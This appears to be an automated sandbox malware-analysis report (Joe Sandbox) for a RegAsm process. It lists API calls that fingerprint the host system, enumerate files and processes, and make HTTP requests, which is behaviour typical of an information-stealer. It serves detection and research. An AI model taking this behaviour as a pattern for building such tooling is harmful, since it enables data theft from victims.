Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,014FAB38,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: UaA
API String ID: 153043497-3893042857
Opcode ID: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,01502750), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,01502088,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 00415273
ERROR, xrefs: 0041521A

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,01501F98), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 6C353060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C353095

Part of subcall function 6C3535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C3DF688,00001000), ref: 6C3535D5
Part of subcall function 6C3535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3535E0
Part of subcall function 6C3535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C3535FD
Part of subcall function 6C3535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C35363F
Part of subcall function 6C3535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C35369F
Part of subcall function 6C3535A0: __aulldiv.LIBCMT ref: 6C3536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35309F

Part of subcall function 6C375B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3756EE,?,00000001), ref: 6C375B85
Part of subcall function 6C375B50: EnterCriticalSection.KERNEL32(6C3DF688,?,?,?,6C3756EE,?,00000001), ref: 6C375B90
Part of subcall function 6C375B50: LeaveCriticalSection.KERNEL32(6C3DF688,?,?,?,6C3756EE,?,00000001), ref: 6C375BD8
Part of subcall function 6C375B50: GetTickCount64.KERNEL32 ref: 6C375BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C3530BE

Part of subcall function 6C3530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C353127
Part of subcall function 6C3530F0: __aulldiv.LIBCMT ref: 6C353140

Part of subcall function 6C38AB2A: __onexit.LIBCMT ref: 6C38AB30

Memory Dump Source

Source File: 00000003.00000002.1877528782.000000006C351000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C350000, based on PE: true

Associated: 00000003.00000002.1877500933.000000006C350000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877795074.000000006C3CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877916043.000000006C3DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877943036.000000006C3E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c350000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3982f81509af463f8f9500e5f8eb6447fb10577364ad131ee35e772e5e09fa9b
Instruction ID: d4de98e44f37a725314d8fbce625aad76478f9d9adca522aa785a4f8006050c7
Opcode Fuzzy Hash: 3982f81509af463f8f9500e5f8eb6447fb10577364ad131ee35e772e5e09fa9b
Instruction Fuzzy Hash: 91F0F912D20B4896CB10DF7488815E6B378AF6F114F545719F88467A61FB2071D887D2

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01500F68,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01500F68,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,015019B8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,015019B8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,015019B8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,015019B8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,01500FE8,00000000,?,00420E24,00000000,?,00000000,00000000,?,01501A00,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,014FB080,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,01501288,00000000,00000000,000000FF,000000FF), ref: 00417E7F

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01501730,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01501730,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: CreateDCA.GDI32(014FAB88,00000000,00000000,00000000), ref: 004187F5
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,00000008), ref: 00418804
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
Part of subcall function 004187C0: ReleaseDC.USER32(00000000,?), ref: 00418822
Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 004181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00418254

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,014F6718,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
